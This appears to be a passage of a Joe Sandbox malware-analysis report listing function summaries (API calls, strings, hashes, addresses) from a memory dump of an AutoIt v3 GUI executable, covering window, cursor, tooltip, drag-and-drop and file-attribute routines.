SetTimer.USER32(00000000,00000000,00000028,00D41256), ref: 00D429FC

Strings

AutoIt v3 GUI, xrefs: 00D42974

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 837138cb29261752982bee797e391272bbda2d0d14ffe7a4ed842dd63309f687
Instruction ID: 4ac0486c0f6257269cfc4827a4dafab24b8407d0c3a48b4f6174d1609cc60f63
Opcode Fuzzy Hash: 837138cb29261752982bee797e391272bbda2d0d14ffe7a4ed842dd63309f687
Instruction Fuzzy Hash: 45B12A71A1020ADFDB14DFA8DC49BAE7BB5FB48310F548229FA15E6290DB74D840CB70

Function 00D9A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00D9A47A
__swprintf.LIBCMT ref: 00D9A51B
_wcscmp.LIBCMT ref: 00D9A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00D9A583
_wcscmp.LIBCMT ref: 00D9A5BF
GetClassNameW.USER32(?,?,00000400), ref: 00D9A5F6
GetDlgCtrlID.USER32 ref: 00D9A648
GetWindowRect.USER32(?,?), ref: 00D9A67E
GetParent.USER32(?), ref: 00D9A69C
ScreenToClient.USER32(00000000), ref: 00D9A6A3
GetClassNameW.USER32(?,?,00000100), ref: 00D9A71D
_wcscmp.LIBCMT ref: 00D9A731
GetWindowTextW.USER32(?,?,00000400), ref: 00D9A757
_wcscmp.LIBCMT ref: 00D9A76B

Part of subcall function 00D6362C: _iswctype.LIBCMT ref: 00D63634

Strings

%s%u, xrefs: 00D9A515

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 9ed3015a4f2c33e1bdb643adba4ecd8753eb98fe2df6813f13364081ff20788d
Instruction ID: 14cb67c02443f483038fd88940664e85208942fa59fca6335eafcacb0ab6766d
Opcode Fuzzy Hash: 9ed3015a4f2c33e1bdb643adba4ecd8753eb98fe2df6813f13364081ff20788d
Instruction Fuzzy Hash: 4BA1AE32204706ABDB14DF68C885FAAB7E8FF44314F148629E999C2190DB30E955CBF2

Function 00D9AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00D9AF18
_wcscmp.LIBCMT ref: 00D9AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 00D9AF51
CharUpperBuffW.USER32(?,00000000), ref: 00D9AF6E
_wcscmp.LIBCMT ref: 00D9AF8C
_wcsstr.LIBCMT ref: 00D9AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00D9AFD5
_wcscmp.LIBCMT ref: 00D9AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 00D9B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 00D9B055
_wcscmp.LIBCMT ref: 00D9B065
GetClassNameW.USER32(00000010,?,00000400), ref: 00D9B08D
GetWindowRect.USER32(00000004,?), ref: 00D9B0F6

Strings

@, xrefs: 00D9AEF9
ThumbnailClass, xrefs: 00D9AFE0, 00D9B060

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: e277a8a7af4025c2ce570234271545a02969d003bfe7e296616e6c2729c01af0
Instruction ID: 304a8d4563278cb9e60cbae8c2085199fc10bb98731c91e56bfa8cd6e6300d81
Opcode Fuzzy Hash: e277a8a7af4025c2ce570234271545a02969d003bfe7e296616e6c2729c01af0
Instruction Fuzzy Hash: 4481BE721083069BDF04DF14D985FAA7BE8EF44324F08846AFD899A096DB34DD49CBB1

Function 00DCC5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

DragQueryPoint.SHELL32(?,?), ref: 00DCC627

Part of subcall function 00DCAB37: ClientToScreen.USER32(?,?), ref: 00DCAB60
Part of subcall function 00DCAB37: GetWindowRect.USER32(?,?), ref: 00DCABD6
Part of subcall function 00DCAB37: PtInRect.USER32(?,?,00DCC014), ref: 00DCABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 00DCC690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00DCC69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00DCC6BE
_wcscat.LIBCMT ref: 00DCC6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00DCC705
SendMessageW.USER32(?,000000B0,?,?), ref: 00DCC71E
SendMessageW.USER32(?,000000B1,?,?), ref: 00DCC735
SendMessageW.USER32(?,000000B1,?,?), ref: 00DCC757
DragFinish.SHELL32(?), ref: 00DCC75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00DCC851

Strings

@GUI_DROPID, xrefs: 00DCC77E
@GUI_DRAGID, xrefs: 00DCC7C9
@GUI_DRAGFILE, xrefs: 00DCC800
pb, xrefs: 00DCC79B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb
API String ID: 169749273-730855631
Opcode ID: 205b8a39ffa28d96b7d4092c9204a2c197e87e3d7137ac889642f7b31a0ac8c0
Instruction ID: 840e5f1b0fd06d97df7d52bfffac94ccf6d3f2d42bca7e765f92337ef3b11da6
Opcode Fuzzy Hash: 205b8a39ffa28d96b7d4092c9204a2c197e87e3d7137ac889642f7b31a0ac8c0
Instruction Fuzzy Hash: BE615C71508302AFC701DF64D885EAFBBE9EF88750F00092EF695932A1DB709949CB72

Function 00D9ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D9AC33

Strings

[ALL, xrefs: 00D9ACD9
[LAST, xrefs: 00D9ACE0
[HANDLE:, xrefs: 00D9AC3F
ALL, xrefs: 00D9ACC7
CLASSNAME=, xrefs: 00D9AC70
[CLASS:, xrefs: 00D9AC83
ACTIVE, xrefs: 00D9AC0E
[REGEXPTITLE:, xrefs: 00D9AC5B
LAST, xrefs: 00D9ABF8
HANDLE=, xrefs: 00D9AC2C
REGEXP=, xrefs: 00D9AC48
[ACTIVE, xrefs: 00D9AC20

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 29d15367a65cfc86be23937b741cbdc02e52c1bc63def0fb74d4abccf074daaa
Instruction ID: 36a75e4370ad36923a03292a9e1a98deb1a097c83a16a1aeede426ab50bb4ae9
Opcode Fuzzy Hash: 29d15367a65cfc86be23937b741cbdc02e52c1bc63def0fb74d4abccf074daaa
Instruction Fuzzy Hash: F831B036A48209AFDB00EA64DD43EFE77A4EB10710F214028F545750D6EB516F18C6B2

Function 00DB4FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00DB5013
LoadCursorW.USER32 ref: 00DB501E
LoadCursorW.USER32 ref: 00DB5029
LoadCursorW.USER32 ref: 00DB5034
LoadCursorW.USER32 ref: 00DB503F
LoadCursorW.USER32 ref: 00DB504A
LoadCursorW.USER32 ref: 00DB5055
LoadCursorW.USER32 ref: 00DB5060
LoadCursorW.USER32 ref: 00DB506B
LoadCursorW.USER32 ref: 00DB5076
LoadCursorW.USER32 ref: 00DB5081
LoadCursorW.USER32 ref: 00DB508C
LoadCursorW.USER32 ref: 00DB5097
LoadCursorW.USER32 ref: 00DB50A2
LoadCursorW.USER32 ref: 00DB50AD
LoadCursorW.USER32 ref: 00DB50B8
GetCursorInfo.USER32(?), ref: 00DB50C8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 802e569f4894b2599f7e2ca29f050ab015097ef284a486f04b9676856749d36d
Instruction ID: 2dd8cc52c9d98ad2d01fec061432e60c7a0cd8067192492a659543e1a940eafa
Opcode Fuzzy Hash: 802e569f4894b2599f7e2ca29f050ab015097ef284a486f04b9676856749d36d
Instruction Fuzzy Hash: 293109B1D4831AAADF109FB69C8999FFFE8FF04750F50452AE50DE7280DA7865008FA1

Function 00DCA1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DCA259
DestroyWindow.USER32 ref: 00DCA2D3

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

CreateWindowExW.USER32 ref: 00DCA34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00DCA36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DCA382
DestroyWindow.USER32 ref: 00DCA3A4
CreateWindowExW.USER32 ref: 00DCA3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DCA3F4
GetDesktopWindow.USER32 ref: 00DCA40D
GetWindowRect.USER32(00000000), ref: 00DCA414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00DCA42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00DCA444

Part of subcall function 00D425DB: GetWindowLongW.USER32(?,000000EB), ref: 00D425EC

Strings

0, xrefs: 00DCA26F
tooltips_class32, xrefs: 00DCA346, 00DCA3D4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 4492159b25ea187173c45c0a948be8388cb2637dc2b4236c7fb0edfec4b0b7b3
Instruction ID: 8da872f8e637af720eb3ad36b55860d6d49ec554f541ba136f55aa8cd3590cd9
Opcode Fuzzy Hash: 4492159b25ea187173c45c0a948be8388cb2637dc2b4236c7fb0edfec4b0b7b3
Instruction Fuzzy Hash: 75716B7114424AAFD725CF28CC49FA677E6FB88304F08452DF985972A0D771E946CB72

Function 00DC4392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DC4424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00DC446F

Strings

ISCHECKED, xrefs: 00DC45F2
UNCHECK, xrefs: 00DC464B
GETITEMCOUNT, xrefs: 00DC4551
SELECT, xrefs: 00DC4620
GETTEXT, xrefs: 00DC45C2
EXISTS, xrefs: 00DC44D8
CHECK, xrefs: 00DC448F
GETSELECTED, xrefs: 00DC457F
COLLAPSE, xrefs: 00DC44B5
EXPAND, xrefs: 00DC4521
GETTOTALCOUNT, xrefs: 00DC4456

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: ba1bd5fa96f067275e27c6546e28ea648e39fda89977a0209b2cee6b6438eee1
Instruction ID: 601634603008ca3918f63593fbfad850f9600df5d8219a8319f927bc498476ed
Opcode Fuzzy Hash: ba1bd5fa96f067275e27c6546e28ea648e39fda89977a0209b2cee6b6438eee1
Instruction Fuzzy Hash: A5913A702047029BCB14EF24C461B6EB7A1EF95354F15886DF8965B3A2CB31ED4ACBB1

Function 00DCB7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00DCB8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00DC91C2), ref: 00DCB910
LoadImageW.USER32 ref: 00DCB949
LoadImageW.USER32 ref: 00DCB98C
LoadImageW.USER32 ref: 00DCB9C3
FreeLibrary.KERNEL32(?), ref: 00DCB9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00DCB9DF
DestroyIcon.USER32(?,?,?,?,?,00DC91C2), ref: 00DCB9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00DCBA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00DCBA17

Part of subcall function 00D62EFD: __wcsicmp_l.LIBCMT ref: 00D62F86

Strings

.icl, xrefs: 00DCB82A
.exe, xrefs: 00DCB84A
.dll, xrefs: 00DCB86D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 80d1e6377e4611e569be31ff2e1991e80cea3ce32f1eab69f67f51331b04a467
Instruction ID: 9c7e2a25867167c1f25395911930370911e378801b14cb4eafcdc38482d35c48
Opcode Fuzzy Hash: 80d1e6377e4611e569be31ff2e1991e80cea3ce32f1eab69f67f51331b04a467
Instruction Fuzzy Hash: A161AC7190061ABBEB14DF64CC82FBA7BA8EB08720F10451AFA15D71D1DB75DA90DBB0

Function 00DAA352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

CharLowerBuffW.USER32(?,?), ref: 00DAA3CB
GetDriveTypeW.KERNEL32 ref: 00DAA418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DAA460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DAA497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DAA4C5

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

Strings

closed, xrefs: 00DAA3DF, 00DAA3E8
type cdaudio alias cd wait, xrefs: 00DAA443
close, xrefs: 00DAA3D1
open , xrefs: 00DAA427
close cd wait, xrefs: 00DAA4B0
set cd door , xrefs: 00DAA466
wait, xrefs: 00DAA482
open, xrefs: 00DAA3F2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 541cc63eaa1bd1eea2d0f831831de7b602d4dddb09d65c24fa030d129932468d
Instruction ID: 09bf142bea2dee284168fa8725fb775a553eef36680c3b86f9dd96f002f30890
Opcode Fuzzy Hash: 541cc63eaa1bd1eea2d0f831831de7b602d4dddb09d65c24fa030d129932468d
Instruction Fuzzy Hash: CC5149711043059FC700EF24C89196AB7E4EF89758F04896DF89A972A2DB71ED0ACF72

Function 00D9F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,00D7E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 00D9F8DF
LoadStringW.USER32(00000000,?,00D7E029,00000001), ref: 00D9F8E8

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

GetModuleHandleW.KERNEL32(00000000,00E05310,?,00000FFF,?,?,00D7E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 00D9F90A
LoadStringW.USER32(00000000,?,00D7E029,00000001), ref: 00D9F90D
__swprintf.LIBCMT ref: 00D9F95D
__swprintf.LIBCMT ref: 00D9F96E
_wprintf.LIBCMT ref: 00D9FA17
MessageBoxW.USER32 ref: 00D9FA2E

Strings

Error: , xrefs: 00D9F9E5
Line %d:, xrefs: 00D9F968
Line %d (File "%s"):, xrefs: 00D9F957
%s (%d) : ==> %s: %s %s, xrefs: 00D9FA12
^ ERROR, xrefs: 00D9F9C3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: a02ee78a37d33d5525e819aa8be8c31470d80b65356c9c2e7b1628f41b43f03d
Instruction ID: 45e9b2ba427bd27e785a1fdbec961c9f3f50678815a17e384ba8064c2b1f6615
Opcode Fuzzy Hash: a02ee78a37d33d5525e819aa8be8c31470d80b65356c9c2e7b1628f41b43f03d
Instruction Fuzzy Hash: 1E410672904209ABCF05FBE0DD86EEEB778EF18300F500165B605B61A2EB356F49CA71

Function 00DCBA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00DCBA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00DC9207,?,?,00000000,?), ref: 00DCBA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00DC9207,?,?,00000000,?), ref: 00DCBA78
CloseHandle.KERNEL32(00000000), ref: 00DCBA85
GlobalLock.KERNEL32(00000000), ref: 00DCBA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00DCBA9D
GlobalUnlock.KERNEL32(00000000), ref: 00DCBAA6
CloseHandle.KERNEL32(00000000), ref: 00DCBAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00DCBABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00DD2CAC,?), ref: 00DCBAD7
GlobalFree.KERNEL32(00000000), ref: 00DCBAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 00DCBB0B
CopyImage.USER32 ref: 00DCBB36
DeleteObject.GDI32(00000000), ref: 00DCBB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00DCBB74

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 42632bcb87890228c06bda3adaa928e43fff0270ad90eb6ec8ac48199e7202ee
Instruction ID: dc695bcb28cc5c04e83978763c7e8f21c305d7e49bece0bf8d1014442716ddd4
Opcode Fuzzy Hash: 42632bcb87890228c06bda3adaa928e43fff0270ad90eb6ec8ac48199e7202ee
Instruction Fuzzy Hash: 6741367560030AEFDB119FA5DC89EAABBBAEB89721F144069F945D7260C7709D01CB30

Function 00DAD899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00DADA10
_wcscat.LIBCMT ref: 00DADA28
_wcscat.LIBCMT ref: 00DADA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00DADA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 00DADA63
GetFileAttributesW.KERNEL32(?), ref: 00DADA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 00DADA95
SetCurrentDirectoryW.KERNEL32(?), ref: 00DADAA7

Strings

*.*, xrefs: 00DADAE6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: bfee80a80c893979d5ad8310deec1d20200b889058b3c45e98e8d12cab7ee4f5
Instruction ID: 33d1f8aedc0d9765b4de04d45e66114aa36eab29c3b29183004c7258c5ac91f4
Opcode Fuzzy Hash: bfee80a80c893979d5ad8310deec1d20200b889058b3c45e98e8d12cab7ee4f5
Instruction Fuzzy Hash: 80816E715043419FCB64DF64C844AABB7EAEF8A710F18882AF88AC7651E634D945CF72

Function 00DCC1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

PostMessageW.USER32 ref: 00DCC1FC
GetFocus.USER32(?,?,?,?), ref: 00DCC20C
GetDlgCtrlID.USER32 ref: 00DCC217
_memset.LIBCMT ref: 00DCC342
GetMenuItemInfoW.USER32 ref: 00DCC36D
